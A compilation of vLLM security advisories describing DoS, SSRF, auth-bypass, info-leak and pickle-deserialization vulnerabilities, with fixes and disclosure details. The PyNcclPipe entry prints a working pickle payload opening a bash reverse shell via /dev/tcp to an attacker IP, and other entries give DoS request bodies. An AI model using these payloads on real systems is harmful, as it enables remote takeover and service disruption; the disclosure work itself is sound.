vLLM before 0.27.0 fails to properly classify DeepStream as a GPU backend and omits pixel-limit enforcement in its decode path. Unauthenticated attackers can activate DeepStream at request time to initialize the process-wide GPU decode pool and submit video that bypasses resource controls, causing partial denial of service for concurrent requests.
vLLM is an inference and serving engine for large language models. Prior to 0.26.0, the MiMoV2OmniMultiModalProcessor in vllm/transformersutils/processors/mimov2omni.py passes attacker-controlled image and audio strings through fetchimage, requests.get, and Image.open instead of MediaConnector, bypassing allowedmediadomains and allowedlocalmediapath protections and allowing server-side requests and reads of arbitrary files accessible to the vLLM process. This issue is fixed in version 0.26.0.
vLLM is an inference and serving engine for large language models. Prior to 0.26.0, the /v1/completions/derender and /v1/chat/completions/derender endpoints accept caller-supplied GenerateResponse objects whose generateresponses, choices, tokenids, promptlogprobs, logprobs.content, toplogprobs, and routedexperts structures are processed by OnlineDerenderer and tokenizer.decode before maxmodellen, maxtokens, maxnumseqs, or response-size limits are enforced, allowing an authenticated API client to consume excessive CPU and memory and produce oversized responses. This issue is fixed in version 0.26.0.
Summary
The /v1/completions request model accepts prompt as a list of text prompts or a list of token-id prompts without any outer prompt-count bound. The serving path turns each element into a separate engine input, creates one engine generator per element, merges all generators, and allocates a response slot per prompt. An authenticated API client can therefore turn one request into an attacker-chosen number of backend subrequests before any aggregate request-count budget is enforced.
Technical Details
CompletionRequest.prompt allows both list-shaped prompt inputs and scalar prompts:
python vllm/entrypoints/openai/completion/protocol.py prompt: ( list[Annotated[int, Field(ge=0)]] | list[list[Annotated[int, Field(ge=0)]]] | str | list[str] | None ) = None
The validator only requires some prompt-like input to be present:
python def validatepromptandpromptembeds(cls, data): prompt = data.get("prompt") promptembeds = data.get("promptembeds") ... if promptisempty and embedsisempty: raise VLLMValidationError(...)
The renderer then expands list-shaped prompts as a sequence. prompttoseq() wraps a scalar string or a single token-id list, but returns a list[str] or list[list[int]] unchanged:
python vllm/renderers/inputs/preprocess.py def prompttoseq(promptorprompts): if isinstance(promptorprompts, (dict, str, bytes)) or ( len(promptorprompts) > 0 and islistof(promptorprompts, int) ): return [promptorprompts]
return promptorprompts
OnlineRenderer.preprocesscompletion() appends that whole sequence, and the renderer processes every element:
python vllm/renderers/onlinerenderer.py prompts = listSingletonPrompt | bytes if promptinput is not None: prompts.extend(prompttoseq(promptinput)) ... parsedprompts = [ prompt if isinstance(prompt, bytes) else parsemodelprompt(modelconfig, prompt) for prompt in prompts ] return await renderer.rendercmplasync(parsedprompts, tokparams, ...)
Finally, completion serving creates one backend generator and one response slot per rendered prompt:
python vllm/entrypoints/openai/completion/serving.py generators: list[AsyncGenerator[RequestOutput, None]] = [] for i, engineinput in enumerate(engineinputs): ... generator = self.engineclient.generate(...) generators.append(generator)
resultgenerator = mergeasynciterators(generators) numprompts = len(engineinputs) ... finalresbatch: list[RequestOutput | None] = [None] numprompts
The violated invariant is that one HTTP request should have a bounded backend request count. Current code enforces per-prompt token and sampling limits, but not the number of prompts in the outer completion request.
PoV
A minimal oversized request keeps normal generation parameters small but supplies a large outer prompt list:
json { "model": "served-model", "prompt": ["x", "x", "x"], "maxtokens": 1, "n": 1 }
Scaling the prompt array to tens or hundreds of thousands of short entries makes the server allocate, preprocess, schedule, merge, and buffer one subrequest per entry. The same applies to token-id prompt lists:
json { "model": "served-model", "prompt": [[1], [1], [1]], "maxtokens": 1, "n": 1 }
The intended negative control is a scalar prompt:
json { "model": "served-model", "prompt": "x", "maxtokens": 1, "n": 1 }
The scalar string is wrapped as one prompt; the list form is not bounded and fans out by list length.
Impact
An authenticated API client can make one /v1/completions request consume CPU, memory, async task scheduling, engine request slots, and response buffering proportional to an attacker-chosen outer prompt list. This can starve or disrupt other tenants sharing the same vLLM server. The report does not claim unauthenticated access, confidentiality impact, integrity impact, code execution, or impact where /v1/completions is not reachable by untrusted or semi-trusted clients.
Suggested Fix
Reject oversized prompt lists before renderer preprocessing. Add an outer prompt-count limit to CompletionRequest.prompt when the prompt is list[str] or list[list[int]], and consider making the limit configurable in the same style as the batch-chat and sampling-list bounds. The check should run before OnlineRenderer.preprocesscompletion() expands the prompt sequence, so oversized requests do not allocate parsed prompt lists, async render/tokenization tasks, engine generators, or response result slots.
Regression coverage should include a scalar prompt, a bounded prompt list, an oversized list[str], and an oversized list[list[int]]. The oversized requests should fail with a controlled validation error before any backend generator is created.
Affected Package/Versions
Package ecosystem: pip
Package name: vllm
Affected range confirmed by source proof: >=0.19.0, <=0.24.0; current main at cbe9c40f998f13975b967773ac7e7920e115387f remains affected.
Patched versions: unknown.
Latest release checked: v0.24.0, published on 2026-06-29.
GitHub Advisory Metadata
Package ecosystem: pip
Package name: vllm
Vulnerable version range: >=0.19.0, <=0.24.0
Patched versions: unknown
Advisory History
Public issue and PR searches for CompletionRequest prompt list, "prompt" "list[str]" "completion", and "CompletionRequest" "maxlength" did not find an existing report or fix for this exact path.
The closest published advisory is GHSA-3mwp-wvh9-7528, "OOM Denial of Service via Unbounded n Parameter in OpenAI API Server", patched in 0.19.0. This report is distinct because it keeps n=1 and uses the /v1/completions prompt outer list to create one engine request per prompt. The fix invariant is an outer prompt-count and aggregate request budget, not only a generated-sequence-count cap.
The closest public PR is vllm-project/vllm#45390, which covers multiple DoS fixes including GHSA-83mh-6mwq-3hg9 for BatchChatCompletionRequest.messages. That PR adds an outer bound to batch chat conversations, but its diff does not touch vllm/entrypoints/openai/completion/protocol.py or vllm/entrypoints/openai/completion/serving.py.
Prior local/private report families checked included pooling/rerank batch fanout, derender token-id postprocessing, explicit truncationside tokenizer-limit bypass, Python disaggregated generate prompt-length bypass, and priority scheduling. Those reports differ by endpoint, attacker-controlled field, sink, and fix surface.
vLLM is an inference and serving engine for large language models. Prior to 0.27.0, an integer overflow in blockIdx.x 2 d in activationkernels.cu can cause actandmulkernel to consume another batched user's input, allowing a request processed in the same inference batch to receive a partial or complete copy of another user's inference result. This issue is fixed in version 0.27.0.
vLLM is an inference and serving engine for large language models. From 0.20.2rc0 until 0.26.0, safeloadpromptembeds in vllm/renderers/embedutils.py uses torch.sparse.checksparsetensorinvariants, whose process-global save, enable, and restore state can be raced by concurrent promptembeds parts submitted to POST /v1/chat/completions through AsyncMultiModalItemTracker.resolveitems, asyncio.gather, and the default executor, allowing an invalid sparse tensor to reach tensor.todense despite the CVE-2025-62164 guard when enablepromptembeds is enabled. This issue is fixed in version 0.26.0.
vLLM is an inference and serving engine for large language models. Prior to 0.26.0, the validationexceptionhandler in vllm/entrypoints/openai/serverutils.py converts FastAPI RequestValidationError objects with str(exc), and sanitizemessage in vllm/entrypoints/utils.py does not remove traceback-style file paths, allowing unauthenticated malformed JSON requests to /v1/chat/completions, /v1/completions, /tokenize, and /detokenize to disclose the OS username, home and virtual-environment paths, Python version, internal package structure, line numbers, and endpoint handler names. This issue is fixed in version 0.26.0.
Summary
A frontend-legal multi-request speculative workload can make vLLM produce an out-of-vocabulary recovered token equal to vocabsize, convert that value to -1 when choosing the next live token for a request, and then feed that -1 back into the next drafter input ids. On Qwen3 GPTQ this reaches the worker-side drafting / attention path and crashes the engine with a GPU device-side assert.
The same issue is reachable through the public gRPC request surface by sending a specific overlapping Generate / Abort sequence.
Impact
- A remote client that can send public gRPC generation requests can crash the shared vLLM engine worker - The triggering request sequence aborts concurrent requests and prevents later requests from completing until the worker is restarted - In shared deployments, this is a service-wide denial of service for other clients, not just a failure isolated to the attacking requests - The failure is reproducible, so repeated request sequences can sustain the outage
Affected version
- Confirmed on vLLM 0.17.1 - Earlier and later versions have not been checked yet in this report
Repro model
- Official Hugging Face repo: - Qwen/Qwen3-0.6B-GPTQ-Int8 - Anyone wants to reproduce the bug with my PoC scripts should download Qwen3-0.6B-GPTQ-Int8 first
Trigger chain
1. A legal multi-request speculative workload keeps structured-output state, speculative decoding, overlap, and request cancellation active in the same live engine. 2. During rejection sampling, vLLM produces a recovered token equal to the model vocabsize boundary value. 3. That recovered token appears in position 0 of the sampled speculative row for a live request. The same row also contains trailing padding entries equal to -1, but those padding entries are not the key fault by themselves. 4. The next-token preparation step treats the position-0 recovered token as the real next token for that request and converts that out-of-vocabulary value to -1. 5. The drafter writes that converted -1 back into the live next-step input-id row for the request. 6. The drafting / embedding / attention path later consumes that live invalid token and the worker crashes on GPU.
Details
Simple example
The important distinction is:
- trailing -1 values in a speculative row can be ordinary padding - the bug appears when the first live token for a request becomes 151936 == vocabsize, and that live token is then converted into -1
In simplified form, the bad transition looks like this:
text sampled speculative row: [151936, -1, -1, -1, ...]
At this point, the trailing -1 values are only padding. The critical problem is that the first position holds 151936, which is out of vocabulary and is being treated as the request's real next token.
Then vLLM prepares the next-token buffer:
text nexttokenids: [-1, ...]
Finally, that converted -1 is written back into the live model input ids:
text inputidsafter: [-1, 0, 0, 0, ...]
The crash happens because the live next token became -1 and was later consumed by the drafting / embedding / attention path, not merely because the speculative row contained padded -1 entries.
Trigger path in code
1. The workload is frontend-legal. The requests use normal SamplingParams features such as structured outputs, stop, badwords, mintokens, and streaming overlap. No malformed token-id list is required at the request boundary. 2. In speculative decoding, the rejection sampler can generate recovered tokens when drafted tokens are rejected. python # vllm/v1/sample/rejectionsampler.py def samplerecoveredtokens(...): recoveredtokenids = torch.emptylike(drafttokenids) samplerecoveredtokenskernel(batchsize, maxspeclen) return recoveredtokenids On the verified Qwen3 run, the recovered-token trace shows recoveredtokenids[0] = 151936, which is exactly vocabsize for this checkpoint. 3. The speculative proposer then prepares the next-token row from the sampled speculative row. python # vllm/v1/specdecode/eagle.py def preparenexttokenidspadded(...): ... eaglepreparenexttokenpaddedkernelgrid return nexttokenids, validsampledtokenscount In the verified trace, this step receives a sampled row beginning with 151936, followed by -1 padding. The important point is that 151936 occupies the first live token position for the request. This step then produces nexttokenids[0] = -1, meaning the live next token for the request has been converted to -1. 4. The drafter then rotates the draft input ids and inserts those nexttokenids back into the live input-id buffer. python # vllm/v1/specdecode/eagle.py def setinputsfirstpass(...): ... self.inputids[tokenindicestosample] = nexttokenids In the verified trace, this produces inputidsafter[0] = -1. 5. The model-side embed path later consumes those input ids. python # vllm/modelexecutor/models/qwen2.py def embedinputids(self, inputids: torch.Tensor) -> torch.Tensor: return self.embedtokens(inputids) In the verified trace, this is the first point where the converted -1 becomes visible as a real model input. The bug is not merely that the sampled speculative row contained padding -1; the bug is that the live next token for the request became -1 and was written back into input ids. 6. After that point, the visible sink depends on timing and backend state. On the attached Qwen3 reproducer, the engine commonly dies later in the drafting / attention path with CUDA error: device-side assert triggered, for example under flashattnvarlenfunc(...).
Local script breakdown
reprog4recoveredminus1local.py is a standalone local reproducer.
- It reads the Qwen3 checkpoint path from VLLMPOCG4MODEL or the built-in /path/to/qwen3 placeholder - It creates EngineCore directly without any external helper dependency - It submits one fixed multi-request workload that preserves the same overlap and speculative-decoding state needed for the bug - It writes: - requestpayloads.json - reproconfig.json - timeline.json - responses.json - error.txt - recoveredchaintrace.jsonl - recoveredchaintrace.jsonl is the key attribution artifact. It records the recovered-token chain directly from the standalone reproducer
gRPC script breakdown
reprog4recoveredminus1grpc.py is a standalone public gRPC reproducer.
- It reads the Qwen3 checkpoint path from VLLMPOCG4MODEL or the built-in /path/to/qwen3 placeholder - It starts a temporary vllm.entrypoints.grpcserver process - It sends only public Generate and Abort RPCs - It submits one fixed overlapping request sequence that preserves the same speculative-decoding state needed for the bug - After the crash window, it sends one more public Generate probe request to confirm that later gRPC requests also fail after the worker dies - It writes: - requestpayloads.json - timeline.json - servercommand.json - responses.json - postcrashprobe.json - server.stdout.log - server.stderr.log
Observed result
Local repro typically ends with:
- a recovered-token trace showing: - samplerecoveredtokensreturn -> recoveredtokenids[0] = 151936 - preparenexttokenidspadded -> nexttokenids[0] = -1 - setinputsfirstpass -> inputidsafter[0] = -1 - embedinputidsoutofrange -> inputids[0] = -1 - CUDA error: device-side assert triggered - a fatal engine-side failure
gRPC repro typically ends with:
- the triggering gRPC requests failing with INTERNAL: EngineCore encountered an issue. See stack trace (above) for the root cause. - server logs showing the worker dies with CUDA error: device-side assert triggered - a later public probe request also failing after the worker is dead
This demonstrates that the issue is reachable through the public gRPC request surface, not only through a local reproducer.
Log snippets
Local recovered-chain trace
text samplerecoveredtokensreturn: recoveredtokenids = [151936, ...] vocabsize = 151936
preparenexttokenidspadded: sampledtokenidshead = [[151936, -1, -1, ...], ...] nexttokenids = [-1, ...]
setinputsfirstpass: inputidsafter = [-1, 0, 0, 0, ...]
embedinputidsoutofrange: inputids = [-1, 0, 0, 0, ...]
gRPC server log
text torch.AcceleratorError: CUDA error: device-side assert triggered ... vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause. ... Error in Generate for request postcrashprobe vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause.
Root cause
This is a speculative-decoding state-handling bug, not an invalid frontend token-id input bug.
The root cause is that a recovered speculative token can become equal to vocabsize, then be selected as the live next token for a request, then be converted to -1, and that converted -1 is still written back into live drafter input ids and later consumed by the drafting / embedding / attention path.
For the Qwen3 checkpoint used here:
- 151936 == vocabsize
This value should be described as the model vocabsize boundary value, not as a legal token id.
Attachments
The attached bundle for this report should contain:
- reprog4recoveredminus1local.py - reprog4recoveredminus1grpc.py
These two standalone scripts are sufficient to reproduce the issue and its public gRPC reachability.
Fix
A fix for this vulnerability has been merged in: https://github.com/vllm-project/vllm/pull/44744
vLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a vulnerability in ASGI web servers and starlette's trust on those web servers enables an authentication bypass of the OpenAI API AuthenticationMiddleware. It allows to use the API without providing the configured VLLMAPIKEY or --api-key. This vulnerability is fixed in 0.22.0.
vLLM versions >= 0.10.2 and < 0.13.0 are missing sparse tensor validation in multimodal embeddings processing. Because PyTorch disables sparse tensor invariant checks by default, an attacker can submit crafted embedding requests with malformed (negative or out-of-bounds) tensor indices, when the prompt-embeds feature is enabled, to trigger crashes or resource exhaustion (denial of service), with potential for out-of-bounds/write-what-where memory corruption. This continues CVE-2025-62164, whose prior fix only disabled the feature by default rather than addressing the root cause.
vLLM is an inference and serving engine for large language models (LLMs). From 0.1.0 to before 0.19.0, a Denial of Service vulnerability exists in the vLLM OpenAI-compatible API server. Due to the lack of an upper bound validation on the n parameter in the ChatCompletionRequest and CompletionRequest Pydantic models, an unauthenticated attacker can send a single HTTP request with an astronomically large n value. This completely blocks the Python asyncio event loop and causes immediate Out-Of-Memory crashes by allocating millions of request object copies in the heap before the request even reaches the scheduling queue. This vulnerability is fixed in 0.19.0.
vLLM is an inference and serving engine for large language models (LLMs). From 0.7.0 to before 0.19.0, the VideoMediaIO.loadbase64() method at vllm/multimodal/media/video.py splits video/jpeg data URLs by comma to extract individual JPEG frames, but does not enforce a frame count limit. The numframes parameter (default: 32), which is enforced by the loadbytes() code path, is completely bypassed in the video/jpeg base64 path. An attacker can send a single API request containing thousands of comma-separated base64-encoded JPEG frames, causing the server to decode all frames into memory and crash with OOM. This vulnerability is fixed in 0.19.0.
vLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1 and prior to version 0.18.0, two model implementation files hardcode trustremotecode=True when loading sub-components, bypassing the user's explicit --trust-remote-code=False security opt-out. This enables remote code execution via malicious model repositories even when the user has explicitly disabled remote code trust. Version 0.18.0 patches the issue.
vLLM is an inference and serving engine for large language models (LLMs). The SSRF protection fix for CVE-2026-24779 add in 0.15.1 can be bypassed in the loadfromurlasync method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client. The SSRF fix uses urllib3.util.parseurl() to validate and extract the hostname from user-provided URLs. However, loadfromurlasync uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing. This vulnerability in 0.17.0.
vLLM is an inference and serving engine for large language models (LLMs). From 0.8.3 to before 0.14.1, when an invalid image is sent to vLLM's multimodal endpoint, PIL throws an error. vLLM returns this error to the client, leaking a heap address. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses. This vulnerability can be chained a heap overflow with JPEG2000 decoder in OpenCV/FFmpeg to achieve remote code execution. This vulnerability is fixed in 0.14.1.
vLLM is an inference and serving engine for large language models (LLMs). Prior to version 0.14.1, a Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The loadfromurl and loadfromurlasync methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources. This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state. Version 0.14.1 contains a patch for the issue.
Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The loadfromurl and loadfromurlasync methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Details The core of the vulnerability lies in the MediaConnector.loadfromurl method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
def loadfromurl( self, url: str, mediaio: MediaIO[M], , fetchtimeout: int | None = None, ) -> M: # type: ignore[type-var] urlspec = urlparse(url) if urlspec.scheme.startswith("http"): self.asserturlinallowedmediadomains(urlspec) connection = self.connection data = connection.getbytes( url, timeout=fetchtimeout, allowredirects=envs.VLLMMEDIAURLALLOWREDIRECTS, ) return mediaio.loadbytes(data)
The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parseurl function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.
Fix
https://github.com/vllm-project/vllm/pull/32746
vLLM is an inference and serving engine for large language models (LLMs). Starting in version 0.10.1 and prior to version 0.14.0, vLLM loads Hugging Face automap dynamic modules during model resolution without gating on trustremotecode, allowing attacker-controlled Python code in a model repo/path to execute at server startup. An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load. This happens before any request handling and does not require API access. Version 0.14.0 fixes the issue.
Summary Users can crash the vLLM engine serving multimodal models that use the Idefics3 vision model implementation by sending a specially crafted 1x1 pixel image. This causes a tensor dimension mismatch that results in an unhandled runtime error, leading to complete server termination.
Details The vulnerability is triggered when the image processor encounters a 1x1 pixel image with shape (1, 1, 3) in HWC (Height, Width, Channel) format. Due to the ambiguous dimensions, the processor incorrectly assumes the image is in CHW (Channel, Height, Width) format with shape (3, H, W). This misinterpretation causes an incorrect calculation of the number of image patches, resulting in a fatal tensor split operation failure.
Crash location: vllm/modelexecutor/models/idefics3.py line 672: python def processimageinput(self, imageinput: ImageInputs) -> torch.Tensor | list[torch.Tensor]: # ... numpatches = imageinput["numpatches"] return [e.flatten(0, 1) for e in imagefeatures.split(numpatches.tolist())]
The split() call fails because the computed numpatches value (17) does not match the actual tensor dimension (9): RuntimeError: splitwithsizes expects splitsizes to sum exactly to 9 (input tensor's size at dimension 0), but got splitsizes=[17]
This unhandled exception terminates the EngineCore process, crashing the server.
Affected Models Any model using the Idefics3 architecture. The vulnerability was tested with HuggingFaceTB/SmolVLM-Instruct.
Impact Denial of service by crashing the engine
Mitigation Validating the input: python def validateimagedimensions(self, imageshape): h, w = imageshape[:2] if len(imageshape) == 3 else imageshape if h < MINIMAGESIZE or w < MINIMAGESIZE: raise ValueError(f"Image dimensions too small: {h}x{w}")
Managing the exception: python try: return [e.flatten(0, 1) for e in imagefeatures.split(numpatches.tolist())] except RuntimeError as e: logger.error(f"Image processing failed: {e}") raise InvalidImageError("Failed to process image features") from e
Fixes
https://github.com/vllm-project/vllm/pull/29881
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the sendobj and recvobj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: python from vllm.distributed.kvtransfer.kvpipe.pyncclpipe import PyNcclPipe from vllm.config import KVTransferConfig
config=KVTransferConfig( kvip="0.0.0.0", kvport=18888, kvrank=0, kvparallelsize=1, kvbuffersize=1024, kvbufferdevice="cpu" )
p=PyNcclPipe(config=config,localrank=0) p.recvtensor() # Receive data
2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
python from vllm.distributed.utils import StatelessProcessGroup
class Evil: def reduce(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,))
client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, worldsize=2, )
client.sendobj(obj=Evil(),dst=0)
The call stack triggering RCE is as follows:
vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvimpl -> vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvmetadata -> vllm.distributed.utils.StatelessProcessGroup.recvobj -> pickle.loads
Getshell as follows:
!image
Reporters
This issue was reported independently by three different parties:
@kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb)
Fix
https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.
Summary A critical performance vulnerability has been identified in the input preprocessing logic of the multimodal tokenizer. The code dynamically replaces placeholder tokens (e.g., <|audio|>, <|image|>) with repeated tokens based on precomputed lengths. Due to inefficient list concatenation operations, the algorithm exhibits quadratic time complexity (O(n²)), allowing malicious actors to trigger resource exhaustion via specially crafted inputs.
Details Affected Component: inputprocessorforphi4mm function. https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/modelexecutor/models/phi4mm.py#L1182-L1197
The code modifies the inputids list in-place using inputids = inputids[:i] + tokens + inputids[i+1:]. Each concatenation operation copies the entire list, leading to O(n) operations per replacement. For k placeholders expanding to m tokens, total time becomes O(kmn), approximating O(n²) in worst-case scenarios.
PoC Test data demonstrates exponential time growth: python testcases = [100, 200, 400, 800, 1600, 3200, 6400] runtimes = [0.002, 0.007, 0.028, 0.136, 0.616, 2.707, 11.854] # seconds Doubling input size increases runtime by ~4x (consistent with O(n²)).
Impact Denial-of-Service (DoS): An attacker could submit inputs with many placeholders (e.g., 10,000 <|audio1|> tokens), causing CPU/memory exhaustion. Example: 10,000 placeholders → ~100 million operations.
Remediation Recommendations Precompute all placeholder positions and expansion lengths upfront. Replace dynamic list concatenation with a single preallocated array. python Pseudocode for O(n) solution newinputids = [] for token in inputids: if token is placeholder: newinputids.extend([token] precomputedlength) else: newinputids.append(token)
Impacted Deployments
Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.
Description
vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.
This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kvtransfer/kvpipe/mooncakepipe.py#L179
Here recvpyobj() Contains implicit pickle.loads(), which leads to potential RCE.
Impact In a multi-node vLLM deployment, vLLM uses ZeroMQ for some multi-node communication purposes. The primary vLLM host opens an XPUB ZeroMQ socket and binds it to ALL interfaces. While the socket is always opened for a multi-node deployment, it is only used when doing tensor parallelism across multiple hosts.
Any client with network access to this host can connect to this XPUB socket unless its port is blocked by a firewall. Once connected, these arbitrary clients will receive all of the same data broadcasted to all of the secondary vLLM hosts. This data is internal vLLM state information that is not useful to an attacker.
By potentially connecting to this socket many times and not reading data published to them, an attacker can also cause a denial of service by slowing down or potentially blocking the publisher.
Detailed Analysis
The XPUB socket in question is created here:
https://github.com/vllm-project/vllm/blob/c21b99b91241409c2fdf9f3f8c542e8748b317be/vllm/distributed/devicecommunicators/shmbroadcast.py#L236-L237
Data is published over this socket via MessageQueue.enqueue() which is called by MessageQueue.broadcastobject():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L452-L453
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/devicecommunicators/shmbroadcast.py#L475-L478
The MessageQueue.broadcastobject() method is called by the GroupCoordinator.broadcastobject() method in parallelstate.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L364-L366
The broadcast over ZeroMQ is only done if the GroupCoordinator was created with usemessagequeuebroadcaster set to True:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L216-L219
The only case where GroupCoordinator is created with usemessagequeuebroadcaster is the coordinator for the tensor parallelism group:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L931-L936
To determine what data is broadcasted to the tensor parallism group, we must continue tracing. GroupCoordinator.broadcastobject() is called by GroupCoordinator.broadcoasttensordict():
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/parallelstate.py#L489
which is called by broadcasttensordict() in communicationop.py:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/distributed/communicationop.py#L29-L34
If we look at getdriverinputandbroadcast() in the V0 workerbase.py, we'll see how this tensor dict is formed:
https://github.com/vllm-project/vllm/blob/790b79750b596043036b9fcbee885827fdd2ef3d/vllm/worker/workerbase.py#L332-L352
but the data actually sent over ZeroMQ is the metadatalist portion that is split from this tensordict. The tensor parts are sent via torch.distributed and only metadata about those tensors is sent via ZeroMQ.
https://github.com/vllm-project/vllm/blob/54a66e5fee4a1ea62f1e4c79a078b20668e408c6/vllm/distributed/parallelstate.py#L61-L83
Patches
https://github.com/vllm-project/vllm/pull/17197
Workarounds
Prior to the fix, your options include: 1. Do not expose the vLLM host to a network where any untrusted connections may reach the host. 2. Ensure that only the other vLLM hosts are able to connect to the TCP port used for the XPUB socket. Note that port used is random.
References
Relevant code first introduced in https://github.com/vllm-project/vllm/pull/6183
Rejected reason: REJECT DO NOT USE THIS CVE ID NUMBER. The Rejected CVE Record is a duplicate of CVE-2024-8939. Notes: All CVE users should reference CVE-2024-8939 instead of this CVE Record. All references and descriptions in this candidate have been removed to prevent accidental usage.
vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.
vllm-project vllm version 0.6.0 contains a vulnerability in the AsyncEngineRPCServer() RPC server entrypoints. The core functionality runserverloop() calls the function makehandlercoro(), which directly uses cloudpickle.loads() on received messages without any sanitization. This can result in remote code execution by deserializing malicious pickle data.
Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
A vulnerability has been found in vLLM AIBrix 0.2.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file pkg/plugins/gateway/prefixcacheindexer/hash.go of the component Prefix Caching. The manipulation leads to insufficiently random values. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 0.3.0 is able to address this issue. It is recommended to upgrade the affected component.
Description The vllm/modelexecutor/weightutils.py implements hfmodelweightsiterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weightsonly parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.
Impact This vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.
Note that most models now use the safetensors format, which is not vulnerable to this issue.
References https://pytorch.org/docs/stable/generated/torch.load.html Fix: https://github.com/vllm-project/vllm/pull/12366
A completions API request with an empty prompt will crash the vllm API server.
The impact is limited based on what model is being served. Serving gpt2 is affected. Most models are not affected, as vllm will prepend tokens to the prompt, avoiding the problematic code.
https://github.com/vllm-project/vllm/commit/e25fee57c2e69161bd261f5986dc5aeb198bbd42